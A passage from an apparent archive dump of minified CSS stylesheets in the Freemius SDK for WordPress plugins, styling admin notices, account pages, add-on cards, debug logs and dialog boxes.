.fs-ajax-loader-bar-5{left:76px;animation-delay:1.2s;-o-animation-delay:1.2s;-ms-animation-delay:1.2s;-webkit-animation-delay:1.2s;-moz-animation-delay:1.2s}.fs-ajax-loader .fs-ajax-loader-bar-6{left:95px;animation-delay:1.35s;-o-animation-delay:1.35s;-ms-animation-delay:1.35s;-webkit-animation-delay:1.35s;-moz-animation-delay:1.35s}.fs-ajax-loader .fs-ajax-loader-bar-7{left:114px;animation-delay:1.5s;-o-animation-delay:1.5s;-ms-animation-delay:1.5s;-webkit-animation-delay:1.5s;-moz-animation-delay:1.5s}.fs-ajax-loader .fs-ajax-loader-bar-8{left:133px;animation-delay:1.65s;-o-animation-delay:1.65s;-ms-animation-delay:1.65s;-webkit-animation-delay:1.65s;-moz-animation-delay:1.65s}@-moz-keyframes bounce_ajaxLoader{0%{-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1);background-color:#0074a3}100%{-moz-transform:scale(0.3);-o-transform:scale(0.3);-ms-transform:scale(0.3);-webkit-transform:scale(0.3);transform:scale(0.3);background-color:#fff}}@-ms-keyframes bounce_ajaxLoader{0%{-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1);background-color:#0074a3}100%{-moz-transform:scale(0.3);-o-transform:scale(0.3);-ms-transform:scale(0.3);-webkit-transform:scale(0.3);transform:scale(0.3);background-color:#fff}}@-o-keyframes bounce_ajaxLoader{0%{-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1);background-color:#0074a3}100%{-moz-transform:scale(0.3);-o-transform:scale(0.3);-ms-transform:scale(0.3);-webkit-transform:scale(0.3);transform:scale(0.3);background-color:#fff}}@-webkit-keyframes bounce_ajaxLoader{0%{-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1);background-color:#0074a3}100%{-moz-transform:scale(0.3);-o-transform:scale(0.3);-ms-transform:scale(0.3);-webkit-transform:scale(0.3);transform:scale(0.3);background-color:#fff}}@keyframes bounce_ajaxLoader{0%{-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1);background-color:#0074a3}100%{-moz-transform:scale(0.3);-o-transform:scale(0.3);-ms-transform:scale(0.3);-webkit-transform:scale(0.3);transform:scale(0.3);background-color:#fff}}.fs-modal-auto-install #request-filesystem-credentials-form h2,.fs-modal-auto-install #request-filesystem-credentials-form .request-filesystem-credentials-action-buttons{display:none}.fs-modal-auto-install #request-filesystem-credentials-form input[type=password],.fs-modal-auto-install #request-filesystem-credentials-form input[type=email],.fs-modal-auto-install #request-filesystem-credentials-form input[type=text]{-webkit-appearance:none;padding:10px 10px 5px 10px;width:300px;max-width:100%}.fs-modal-auto-install #request-filesystem-credentials-form>div,.fs-modal-auto-install #request-filesystem-credentials-form label,.fs-modal-auto-install #request-filesystem-credentials-form fieldset{width:300px;max-width:100%;margin:0 auto;display:block}.button-primary.warn{box-shadow:0 1px 0 #d2593c;text-shadow:0 -1px 1px #d2593c,1px 0 1px #d2593c,0 1px 1px #d2593c,-1px 0 1px #d2593c;background:#f56a48;border-color:#ec6544 #d2593c #d2593c}.button-primary.warn:hover{background:#fd6d4a;border-color:#d2593c}.button-primary.warn:focus{box-shadow:0 1px 0 #dd6041,0 0 2px 1px #e4a796}.button-primary.warn:active{background:#dd6041;border-color:#d2593c;box-shadow:inset 0 2px 0 #d2593c}.button-primary.warn.disabled{color:#f5b3a1 !important;background:#e76444 !important;border-color:#d85e40 !important;text-shadow:0 -1px 0 rgba(0,0,0,.1) !important}/*# sourceMappingURL=dialog-boxes.css.map */ vendor/freemius/assets/css/admin/debug.css000064400000002120147600365160014645 0ustar00label.fs-tag,span.fs-tag{background:#ffba00;color:#fff;display:inline-block;border-radius:3px;padding:5px;font-size:11px;line-height:11px;vertical-align:baseline}label.fs-tag.fs-warn,span.fs-tag.fs-warn{background:#ffba00}label.fs-tag.fs-info,span.fs-tag.fs-info{background:#00a0d2}label.fs-tag.fs-success,span.fs-tag.fs-success{background:#46b450}label.fs-tag.fs-error,span.fs-tag.fs-error{background:#dc3232}.fs-switch-label{font-size:20px;line-height:31px;margin:0 5px}#fs_log_book table{font-family:Consolas,Monaco,monospace;font-size:12px}#fs_log_book table th{color:#ccc}#fs_log_book table tr{background:#232525}#fs_log_book table tr.alternate{background:#2b2b2b}#fs_log_book table tr td.fs-col--logger{color:#5a7435}#fs_log_book table tr td.fs-col--type{color:#ffc861}#fs_log_book table tr td.fs-col--function{color:#a7b7b1;font-weight:bold}#fs_log_book table tr td.fs-col--message,#fs_log_book table tr td.fs-col--message a{color:#9a73ac !important}#fs_log_book table tr td.fs-col--file{color:#d07922}#fs_log_book table tr td.fs-col--timestamp{color:#6596be}/*# sourceMappingURL=debug.css.map */ vendor/freemius/assets/css/admin/affiliation.css000064400000004310147600365160016047 0ustar00#fs_affiliation_content_wrapper #messages{margin-top:25px}#fs_affiliation_content_wrapper h3{font-size:24px;padding:0;margin-left:0}#fs_affiliation_content_wrapper ul li{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;list-style-type:none}#fs_affiliation_content_wrapper ul li:before{content:"✓";margin-right:10px;font-weight:bold}#fs_affiliation_content_wrapper p:not(.description),#fs_affiliation_content_wrapper li,#fs_affiliation_content_wrapper label{font-size:16px !important;line-height:26px !important}#fs_affiliation_content_wrapper .button{margin-top:20px;margin-bottom:7px;line-height:35px;height:40px;font-size:16px}#fs_affiliation_content_wrapper .button#cancel_button{margin-right:5px}#fs_affiliation_content_wrapper form .input-container{margin-bottom:15px}#fs_affiliation_content_wrapper form .input-container .input-label{font-weight:bold;display:block;width:100%}#fs_affiliation_content_wrapper form .input-container.input-container-text label,#fs_affiliation_content_wrapper form .input-container.input-container-text input,#fs_affiliation_content_wrapper form .input-container.input-container-text textarea{display:block}#fs_affiliation_content_wrapper form .input-container #add_domain,#fs_affiliation_content_wrapper form .input-container .remove-domain{text-decoration:none;display:inline-block;margin-top:3px}#fs_affiliation_content_wrapper form .input-container #add_domain:focus,#fs_affiliation_content_wrapper form .input-container .remove-domain:focus{box-shadow:none}#fs_affiliation_content_wrapper form .input-container #add_domain.disabled,#fs_affiliation_content_wrapper form .input-container .remove-domain.disabled{color:#aaa;cursor:default}#fs_affiliation_content_wrapper form #extra_domains_container .description{margin-top:0;position:relative;top:-4px}#fs_affiliation_content_wrapper form #extra_domains_container .extra-domain-input-container{margin-bottom:15px}#fs_affiliation_content_wrapper form #extra_domains_container .extra-domain-input-container .domain{display:inline-block;margin-right:5px}#fs_affiliation_content_wrapper form #extra_domains_container .extra-domain-input-container .domain:last-of-type{margin-bottom:0}/*# sourceMappingURL=affiliation.css.map */ vendor/freemius/assets/css/admin/index.php000064400000000127147600365160014672 0ustar00*{margin-top:7px;display:inline-block}.fs-notice label.fs-plugin-title{background:rgba(0,0,0,.3);color:#fff;padding:2px 10px;position:absolute;top:100%;bottom:auto;right:auto;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;left:10px;font-size:12px;font-weight:bold;cursor:auto}div.fs-notice.updated,div.fs-notice.success,div.fs-notice.promotion{display:block !important}#fs_connect .fs-error ol,#fs_connect .fs-error .fs-api-request-error-show-details-link,#fs_connect .fs-error .fs-api-request-error-details,.fs-modal .notice-error ol,.fs-modal .notice-error .fs-api-request-error-show-details-link,.fs-modal .notice-error .fs-api-request-error-details,.fs-notice.error ol,.fs-notice.error .fs-api-request-error-show-details-link,.fs-notice.error .fs-api-request-error-details{text-align:left}#fs_connect .fs-error ol,.fs-modal .notice-error ol,.fs-notice.error ol{list-style-type:disc}#fs_connect .fs-error .fs-api-request-error-show-details-link,.fs-modal .notice-error .fs-api-request-error-show-details-link,.fs-notice.error .fs-api-request-error-show-details-link{text-decoration:none;color:#2271b1;box-shadow:none}#fs_connect .fs-error .fs-api-request-error-details,.fs-modal .notice-error .fs-api-request-error-details,.fs-notice.error .fs-api-request-error-details{border:1px solid #ccc;padding:5px;overflow:auto;max-height:150px}.rtl .fs-notice .fs-close{float:left}.fs-secure-notice{position:fixed;top:32px;left:160px;right:0;background:#ebfdeb;padding:10px 20px;color:green;z-index:9999;-moz-box-shadow:0 2px 2px rgba(6,113,6,.3);-webkit-box-shadow:0 2px 2px rgba(6,113,6,.3);box-shadow:0 2px 2px rgba(6,113,6,.3);opacity:.95;filter:alpha(opacity=95)}.fs-secure-notice:hover{opacity:1;filter:alpha(opacity=100)}.fs-secure-notice a.fs-security-proof{color:green;text-decoration:none}@media screen and (max-width: 960px){.fs-secure-notice{left:36px}}@media screen and (max-width: 600px){.fs-secure-notice{display:none}}@media screen and (max-width: 1250px){#fs_promo_tab{display:none}}@media screen and (max-width: 782px){.fs-secure-notice{left:0;top:46px;text-align:center}}span.fs-submenu-item.fs-sub:before{content:"↳";padding:0 5px}.rtl span.fs-submenu-item.fs-sub:before{content:"↲"}.fs-submenu-item.pricing.upgrade-mode{color:#adff2f}.fs-submenu-item.pricing.trial-mode{color:#83e2ff}#adminmenu .update-plugins.fs-trial{background-color:#00b9eb}.fs-ajax-spinner{border:0;width:20px;height:20px;margin-right:5px;vertical-align:sub;display:inline-block;background:url("/wp-admin/images/wpspin_light-2x.gif");background-size:contain;margin-bottom:-2px}.wrap.fs-section h2{text-align:left}.plugins p.fs-upgrade-notice{border:0;background-color:#d54e21;padding:10px;color:#f9f9f9;margin-top:10px}/*# sourceMappingURL=common.css.map */ vendor/freemius/assets/css/admin/clone-resolution.css000064400000004071147600365160017067 0ustar00.fs-notice[data-id^=clone_resolution_options_notice]{padding:0;color:inherit !important}.fs-notice[data-id^=clone_resolution_options_notice] .fs-notice-body{padding:0;margin-bottom:0}.fs-notice[data-id^=clone_resolution_options_notice] .fs-notice-header{padding:5px 10px}.fs-notice[data-id^=clone_resolution_options_notice] ol{margin-top:0;margin-bottom:0}.fs-notice[data-id^=clone_resolution_options_notice] .fs-clone-resolution-options-container{display:flex;flex-direction:row;padding:0 10px 10px}@media(max-width: 750px){.fs-notice[data-id^=clone_resolution_options_notice] .fs-clone-resolution-options-container{flex-direction:column}}.fs-notice[data-id^=clone_resolution_options_notice] .fs-clone-resolution-option{border:1px solid #ccc;padding:10px 10px 15px 10px;flex:auto;margin:5px}.fs-notice[data-id^=clone_resolution_options_notice] .fs-clone-resolution-option:first-child{margin-left:0}.fs-notice[data-id^=clone_resolution_options_notice] .fs-clone-resolution-option:last-child{margin-right:0}.fs-notice[data-id^=clone_resolution_options_notice] .fs-clone-resolution-option strong{font-size:1.2em;padding:2px;line-height:1.5em}.fs-notice[data-id^=clone_resolution_options_notice] a{text-decoration:none}.fs-notice[data-id^=clone_resolution_options_notice] .button{margin-right:10px}.rtl .fs-notice[data-id^=clone_resolution_options_notice] .button{margin-right:0;margin-left:10px}.fs-notice[data-id^=clone_resolution_options_notice] .fs-clone-documentation-container{padding:0 10px 15px}.fs-notice[data-id=temporary_duplicate_notice] #fs_clone_resolution_error_message{border:1px solid #d3135a;background:#fee;color:#d3135a;padding:10px}.fs-notice[data-id=temporary_duplicate_notice] ol{margin-top:0}.fs-notice[data-id=temporary_duplicate_notice] a{position:relative}.fs-notice[data-id=temporary_duplicate_notice] a:focus{box-shadow:none}.fs-notice[data-id=temporary_duplicate_notice] a.disabled{color:gray}.fs-notice[data-id=temporary_duplicate_notice] a .fs-ajax-spinner{position:absolute;left:8px;right:0;top:-1px;bottom:0;margin-left:100%}/*# sourceMappingURL=clone-resolution.css.map */ vendor/freemius/assets/css/admin/plugins.css000064400000001051147600365160015242 0ustar00label.fs-tag,span.fs-tag{background:#ffba00;color:#fff;display:inline-block;border-radius:3px;padding:5px;font-size:11px;line-height:11px;vertical-align:baseline}label.fs-tag.fs-warn,span.fs-tag.fs-warn{background:#ffba00}label.fs-tag.fs-info,span.fs-tag.fs-info{background:#00a0d2}label.fs-tag.fs-success,span.fs-tag.fs-success{background:#46b450}label.fs-tag.fs-error,span.fs-tag.fs-error{background:#dc3232}.wp-list-table.plugins .plugin-title span.fs-tag{display:inline-block;margin-left:5px;line-height:10px}/*# sourceMappingURL=plugins.css.map */ vendor/freemius/assets/css/admin/account.css000064400000013141147600365160015220 0ustar00label.fs-tag,span.fs-tag{background:#ffba00;color:#fff;display:inline-block;border-radius:3px;padding:5px;font-size:11px;line-height:11px;vertical-align:baseline}label.fs-tag.fs-warn,span.fs-tag.fs-warn{background:#ffba00}label.fs-tag.fs-info,span.fs-tag.fs-info{background:#00a0d2}label.fs-tag.fs-success,span.fs-tag.fs-success{background:#46b450}label.fs-tag.fs-error,span.fs-tag.fs-error{background:#dc3232}.fs-notice[data-id=license_not_whitelabeled].success,.fs-notice[data-id=license_whitelabeled].success{color:inherit;border-left-color:#00a0d2}.fs-notice[data-id=license_not_whitelabeled].success label.fs-plugin-title,.fs-notice[data-id=license_whitelabeled].success label.fs-plugin-title{display:none}#fs_account .postbox,#fs_account .widefat{max-width:800px}#fs_account h3{font-size:1.3em;padding:12px 15px;margin:0 0 12px 0;line-height:1.4;border-bottom:1px solid #f1f1f1}#fs_account h3 .dashicons{width:26px;height:26px;font-size:1.3em}#fs_account i.dashicons{font-size:1.2em;height:1.2em;width:1.2em}#fs_account .dashicons{vertical-align:middle}#fs_account .fs-header-actions{position:absolute;top:17px;right:15px;font-size:.9em}#fs_account .fs-header-actions ul{margin:0}#fs_account .fs-header-actions li{float:left}#fs_account .fs-header-actions li form{display:inline-block}#fs_account .fs-header-actions li a{text-decoration:none}#fs_account_details .button-group{float:right}.rtl #fs_account .fs-header-actions{left:15px;right:auto}.fs-key-value-table{width:100%}.fs-key-value-table form{display:inline-block}.fs-key-value-table tr td:first-child{text-align:right}.fs-key-value-table tr td:first-child nobr{font-weight:bold}.fs-key-value-table tr td:first-child form{display:block}.fs-key-value-table tr td.fs-right{text-align:right}.fs-key-value-table tr.fs-odd{background:#ebebeb}.fs-key-value-table td,.fs-key-value-table th{padding:10px}.fs-key-value-table code{line-height:28px}.fs-key-value-table var,.fs-key-value-table code,.fs-key-value-table input[type=text]{color:#0073aa;font-size:16px;background:none}.fs-key-value-table input[type=text]{width:100%;font-weight:bold}.fs-field-beta_program label{margin-left:7px}label.fs-tag{background:#ffba00;color:#fff;display:inline-block;border-radius:3px;padding:5px;font-size:11px;line-height:11px;vertical-align:baseline}label.fs-tag.fs-warn{background:#ffba00}label.fs-tag.fs-success{background:#46b450}label.fs-tag.fs-error{background:#dc3232}#fs_sites .fs-scrollable-table .fs-table-body{max-height:200px;overflow:auto;border:1px solid #e5e5e5}#fs_sites .fs-scrollable-table .fs-table-body>table.widefat{border:none !important}#fs_sites .fs-scrollable-table .fs-main-column{width:100%}#fs_sites .fs-scrollable-table .fs-site-details td:first-of-type{text-align:right;color:gray;width:1px}#fs_sites .fs-scrollable-table .fs-site-details td:last-of-type{text-align:right}#fs_sites .fs-scrollable-table .fs-install-details table tr td{width:1px;white-space:nowrap}#fs_sites .fs-scrollable-table .fs-install-details table tr td:last-of-type{width:auto}#fs_addons h3{border:none;margin-bottom:0;padding:4px 5px}#fs_addons td{vertical-align:middle}#fs_addons thead{white-space:nowrap}#fs_addons td:first-child,#fs_addons th:first-child{text-align:left;font-weight:bold}#fs_addons td:last-child,#fs_addons th:last-child{text-align:right}#fs_addons th{font-weight:bold}#fs_billing_address{width:100%}#fs_billing_address tr td{width:50%;padding:5px}#fs_billing_address tr:first-of-type td{padding-top:0}#fs_billing_address span{font-weight:bold}#fs_billing_address input,#fs_billing_address select{display:block;width:100%;margin-top:5px}#fs_billing_address input::-moz-placeholder,#fs_billing_address select::-moz-placeholder{color:rgba(0,0,0,0);opacity:1}#fs_billing_address input:-ms-input-placeholder,#fs_billing_address select:-ms-input-placeholder{color:rgba(0,0,0,0)}#fs_billing_address input::-webkit-input-placeholder,#fs_billing_address select::-webkit-input-placeholder{color:rgba(0,0,0,0)}#fs_billing_address input.fs-read-mode,#fs_billing_address select.fs-read-mode{border-color:rgba(0,0,0,0);color:#777;border-bottom:1px dashed #ccc;padding-left:0;background:none}#fs_billing_address.fs-read-mode td span{display:none}#fs_billing_address.fs-read-mode input,#fs_billing_address.fs-read-mode select{border-color:rgba(0,0,0,0);color:#777;border-bottom:1px dashed #ccc;padding-left:0;background:none}#fs_billing_address.fs-read-mode input::-moz-placeholder,#fs_billing_address.fs-read-mode select::-moz-placeholder{color:#ccc;opacity:1}#fs_billing_address.fs-read-mode input:-ms-input-placeholder,#fs_billing_address.fs-read-mode select:-ms-input-placeholder{color:#ccc}#fs_billing_address.fs-read-mode input::-webkit-input-placeholder,#fs_billing_address.fs-read-mode select::-webkit-input-placeholder{color:#ccc}#fs_billing_address button{display:block;width:100%}@media screen and (max-width: 639px){#fs_account .fs-header-actions{position:static;padding:0 15px 12px 15px;margin:0 0 12px 0}#fs_account .fs-header-actions li{float:none;display:inline-block}#fs_account #fs_account_details{display:block}#fs_account #fs_account_details tbody,#fs_account #fs_account_details tr,#fs_account #fs_account_details td,#fs_account #fs_account_details th{display:block}#fs_account #fs_account_details tr td:first-child{text-align:left}#fs_account #fs_account_details tr td:nth-child(2){padding:0 12px}#fs_account #fs_account_details tr td:nth-child(2) code{margin:0;padding:0}#fs_account #fs_account_details tr td:nth-child(2) label{margin-left:0}#fs_account #fs_account_details tr td:nth-child(3){text-align:left}#fs_account #fs_account_details tr.fs-field-plan td:nth-child(2) .button-group{float:none;margin:12px 0}}/*# sourceMappingURL=account.css.map */ vendor/freemius/assets/css/admin/add-ons.css000064400000030041147600365160015107 0ustar00.fs-badge{position:absolute;top:10px;right:0;background:#71ae00;color:#fff;text-transform:uppercase;padding:5px 10px;-moz-border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;font-weight:bold;border-right:0;-moz-box-shadow:0 2px 1px -1px rgba(0,0,0,.3);-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.3);box-shadow:0 2px 1px -1px rgba(0,0,0,.3)}#fs_addons .fs-cards-list{list-style:none}#fs_addons .fs-cards-list .fs-card{float:left;height:152px;width:310px;padding:0;margin:0 0 30px 30px;font-size:14px;list-style:none;border:1px solid #ddd;cursor:pointer;position:relative}#fs_addons .fs-cards-list .fs-card .fs-overlay{position:absolute;left:0;right:0;bottom:0;top:0;z-index:9}#fs_addons .fs-cards-list .fs-card .fs-inner{background-color:#fff;overflow:hidden;height:100%;position:relative}#fs_addons .fs-cards-list .fs-card .fs-inner>ul{-moz-transition:all,.15s;-o-transition:all,.15s;-ms-transition:all,.15s;-webkit-transition:all,.15s;transition:all,.15s;left:0;right:0;top:0;position:absolute}#fs_addons .fs-cards-list .fs-card .fs-inner>ul>li{list-style:none;line-height:18px;padding:0 15px;width:100%;display:block;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-card-banner{padding:0;margin:0;line-height:0;display:block;height:100px;background-repeat:repeat-x;background-size:100% 100%;-moz-transition:all,.15s;-o-transition:all,.15s;-ms-transition:all,.15s;-webkit-transition:all,.15s;transition:all,.15s}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-card-banner .fs-badge.fs-installed-addon-badge{font-size:1.02em;line-height:1.3em}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-title{margin:10px 0 0 0;height:18px;overflow:hidden;color:#000;white-space:nowrap;text-overflow:ellipsis;font-weight:bold}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-offer{font-size:.9em}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-description{background-color:#f9f9f9;padding:10px 15px 100px 15px;border-top:1px solid #eee;margin:0 0 10px 0;color:#777}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-tag{position:absolute;top:10px;right:0px;background:#adff2f;display:block;padding:2px 10px;-moz-box-shadow:1px 1px 1px rgba(0,0,0,.3);-webkit-box-shadow:1px 1px 1px rgba(0,0,0,.3);box-shadow:1px 1px 1px rgba(0,0,0,.3);text-transform:uppercase;font-size:.9em;font-weight:bold}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-cta .button,#fs_addons .fs-cards-list .fs-card .fs-inner .fs-cta .button-group{position:absolute;top:112px;right:10px}@media screen and (min-width: 960px){#fs_addons .fs-cards-list .fs-card:hover .fs-overlay{border:2px solid #29abe1;margin-left:-1px;margin-top:-1px}#fs_addons .fs-cards-list .fs-card:hover .fs-inner ul{top:-100px}#fs_addons .fs-cards-list .fs-card:hover .fs-inner .fs-title,#fs_addons .fs-cards-list .fs-card:hover .fs-inner .fs-offer{color:#29abe1}}#TB_window,#TB_window iframe{width:821px !important}#plugin-information .fyi{width:266px !important}#plugin-information #section-holder{margin-right:299px;clear:none}#plugin-information #section-description h2,#plugin-information #section-description h3,#plugin-information #section-description p,#plugin-information #section-description b,#plugin-information #section-description i,#plugin-information #section-description blockquote,#plugin-information #section-description li,#plugin-information #section-description ul,#plugin-information #section-description ol{clear:none}#plugin-information #section-description iframe{max-width:100%}#plugin-information #section-description .fs-selling-points{padding-bottom:10px;border-bottom:1px solid #ddd}#plugin-information #section-description .fs-selling-points ul{margin:0}#plugin-information #section-description .fs-selling-points ul li{padding:0;list-style:none outside none}#plugin-information #section-description .fs-selling-points ul li i.dashicons{color:#71ae00;font-size:3em;vertical-align:middle;line-height:30px;float:left;margin:0 0 0 -15px}#plugin-information #section-description .fs-selling-points ul li h3{margin:1em 30px !important}#plugin-information #section-description .fs-screenshots:after{content:"";display:table;clear:both}#plugin-information #section-description .fs-screenshots ul{list-style:none;margin:0}#plugin-information #section-description .fs-screenshots ul li{width:225px;height:225px;float:left;margin-bottom:20px;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}#plugin-information #section-description .fs-screenshots ul li a{display:block;width:100%;height:100%;border:1px solid;-moz-box-shadow:1px 1px 1px rgba(0,0,0,.2);-webkit-box-shadow:1px 1px 1px rgba(0,0,0,.2);box-shadow:1px 1px 1px rgba(0,0,0,.2);background-size:cover}#plugin-information #section-description .fs-screenshots ul li.odd{margin-right:20px}#plugin-information .plugin-information-pricing{margin:-16px;border-bottom:1px solid #ddd}#plugin-information .plugin-information-pricing .fs-plan h3{margin-top:0;padding:20px;font-size:16px}#plugin-information .plugin-information-pricing .fs-plan .nav-tab-wrapper{border-bottom:1px solid #ddd}#plugin-information .plugin-information-pricing .fs-plan .nav-tab-wrapper .nav-tab{cursor:pointer;position:relative;padding:0 10px;font-size:.9em}#plugin-information .plugin-information-pricing .fs-plan .nav-tab-wrapper .nav-tab label{text-transform:uppercase;color:green;background:#adff2f;position:absolute;left:-1px;right:-1px;bottom:100%;border:1px solid #006400;padding:2px;text-align:center;font-size:.9em;line-height:1em}#plugin-information .plugin-information-pricing .fs-plan .nav-tab-wrapper .nav-tab.nav-tab-active{cursor:default;background:#fffeec;border-bottom-color:#fffeec}#plugin-information .plugin-information-pricing .fs-plan.fs-single-cycle h3{background:#fffeec;margin:0;padding-bottom:0;color:#0073aa}#plugin-information .plugin-information-pricing .fs-plan.fs-single-cycle .nav-tab-wrapper,#plugin-information .plugin-information-pricing .fs-plan.fs-single-cycle .fs-billing-frequency{display:none}#plugin-information .plugin-information-pricing .fs-plan .fs-pricing-body{background:#fffeec;padding:20px}#plugin-information .plugin-information-pricing .fs-plan .button{width:100%;text-align:center;font-weight:bold;text-transform:uppercase;font-size:1.1em}#plugin-information .plugin-information-pricing .fs-plan label{white-space:nowrap}#plugin-information .plugin-information-pricing .fs-plan var{font-style:normal}#plugin-information .plugin-information-pricing .fs-plan .fs-billing-frequency,#plugin-information .plugin-information-pricing .fs-plan .fs-annual-discount{text-align:center;display:block;font-weight:bold;margin-bottom:10px;text-transform:uppercase;background:#f3f3f3;padding:2px;border:1px solid #ccc}#plugin-information .plugin-information-pricing .fs-plan .fs-annual-discount{text-transform:none;color:green;background:#adff2f}#plugin-information .plugin-information-pricing .fs-plan ul.fs-trial-terms{font-size:.9em}#plugin-information .plugin-information-pricing .fs-plan ul.fs-trial-terms i{float:left;margin:0 0 0 -15px}#plugin-information .plugin-information-pricing .fs-plan ul.fs-trial-terms li{margin:10px 0 0 0}#plugin-information #section-features .fs-features{margin:-20px -26px}#plugin-information #section-features table{width:100%;border-spacing:0;border-collapse:separate}#plugin-information #section-features table thead th{padding:10px 0}#plugin-information #section-features table thead .fs-price{color:#71ae00;font-weight:normal;display:block;text-align:center}#plugin-information #section-features table tbody td{border-top:1px solid #ccc;padding:10px 0;text-align:center;width:100px;color:#71ae00}#plugin-information #section-features table tbody td:first-child{text-align:left;width:auto;color:inherit;padding-left:26px}#plugin-information #section-features table tbody tr.fs-odd td{background:#fefefe}#plugin-information #section-features .dashicons-yes{width:30px;height:30px;font-size:30px}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown .button-group .button,#plugin-information .fs-dropdown .button-group .button{position:relative;width:auto;top:0;right:0}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown .button-group .button:focus,#plugin-information .fs-dropdown .button-group .button:focus{z-index:10}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown .button-group .fs-dropdown-arrow,#plugin-information .fs-dropdown .button-group .fs-dropdown-arrow{border-top:6px solid #fff;border-right:4px solid rgba(0,0,0,0);border-left:4px solid rgba(0,0,0,0);top:12px;position:relative}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown.active:not(.up) .button:not(.fs-dropdown-arrow-button),#plugin-information .fs-dropdown.active:not(.up) .button:not(.fs-dropdown-arrow-button){border-bottom-left-radius:0}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown.active:not(.up) .fs-dropdown-arrow-button,#plugin-information .fs-dropdown.active:not(.up) .fs-dropdown-arrow-button{border-bottom-right-radius:0}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown.active.up .button:not(.fs-dropdown-arrow-button),#plugin-information .fs-dropdown.active.up .button:not(.fs-dropdown-arrow-button){border-top-left-radius:0}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown.active.up .fs-dropdown-arrow-button,#plugin-information .fs-dropdown.active.up .fs-dropdown-arrow-button{border-top-right-radius:0}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown .fs-dropdown-list,#plugin-information .fs-dropdown .fs-dropdown-list{position:absolute;right:-1px;top:100%;margin-left:auto;padding:3px 0;border:1px solid #bfbfbf;background-color:#fff;z-index:1;width:230px;text-align:left;-moz-box-shadow:0px 2px 4px -1px rgba(0,0,0,.2),0px 4px 5px 0px rgba(0,0,0,.14),0px 1px 10px 0px rgba(0,0,0,.12);-webkit-box-shadow:0px 2px 4px -1px rgba(0,0,0,.2),0px 4px 5px 0px rgba(0,0,0,.14),0px 1px 10px 0px rgba(0,0,0,.12);box-shadow:0px 2px 4px -1px rgba(0,0,0,.2),0px 4px 5px 0px rgba(0,0,0,.14),0px 1px 10px 0px rgba(0,0,0,.12)}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown .fs-dropdown-list li,#plugin-information .fs-dropdown .fs-dropdown-list li{margin:0}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown .fs-dropdown-list li a,#plugin-information .fs-dropdown .fs-dropdown-list li a{display:block;padding:5px 10px;text-decoration:none;text-shadow:none}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown .fs-dropdown-list li:hover,#plugin-information .fs-dropdown .fs-dropdown-list li:hover{background-color:#0074a3;color:#fff}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown .fs-dropdown-list li:hover a,#plugin-information .fs-dropdown .fs-dropdown-list li:hover a{color:#fff}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown:not(.up) .fs-dropdown-list,#plugin-information .fs-dropdown:not(.up) .fs-dropdown-list{-moz-border-radius:3px 0 3px 3px;-webkit-border-radius:3px 0 3px 3px;border-radius:3px 0 3px 3px}#fs_addons .fs-cards-list .fs-card .fs-inner .fs-dropdown.up .fs-dropdown-list,#plugin-information .fs-dropdown.up .fs-dropdown-list{-moz-border-radius:3px 3px 0 3px;-webkit-border-radius:3px 3px 0 3px;border-radius:3px 3px 0 3px}#plugin-information .fs-dropdown .button-group{width:100%}#plugin-information .fs-dropdown .button-group .button{float:none;font-size:14px;font-weight:normal;text-transform:none}#plugin-information .fs-dropdown .fs-dropdown-list{margin-top:1px}#plugin-information .fs-dropdown.up .fs-dropdown-list{top:auto;bottom:100%;margin-bottom:2px}#plugin-information.wp-core-ui .fs-pricing-body .fs-dropdown .button-group{text-align:center;display:table}#plugin-information.wp-core-ui .fs-pricing-body .fs-dropdown .button-group .button{display:table-cell}#plugin-information.wp-core-ui .fs-pricing-body .fs-dropdown .button-group .button:not(.fs-dropdown-arrow-button){left:1px;width:100%}#plugin-information-footer>.button,#plugin-information-footer .fs-dropdown{position:relative;top:3px}#plugin-information-footer>.button.left,#plugin-information-footer .fs-dropdown.left{float:left}#plugin-information-footer>.right,#plugin-information-footer .fs-dropdown{float:right}@media screen and (max-width: 961px){#fs_addons .fs-cards-list .fs-card{height:265px}}/*# sourceMappingURL=add-ons.css.map */ vendor/freemius/assets/css/admin/gdpr-optin-notice.css000064400000000554147600365160017132 0ustar00.fs-notice[data-id^=gdpr_optin_actions] .underlined{text-decoration:underline}.fs-notice[data-id^=gdpr_optin_actions] ul .button,.fs-notice[data-id^=gdpr_optin_actions] ul .action-description{vertical-align:middle}.fs-notice[data-id^=gdpr_optin_actions] ul .action-description{display:inline-block;margin-left:3px}/*# 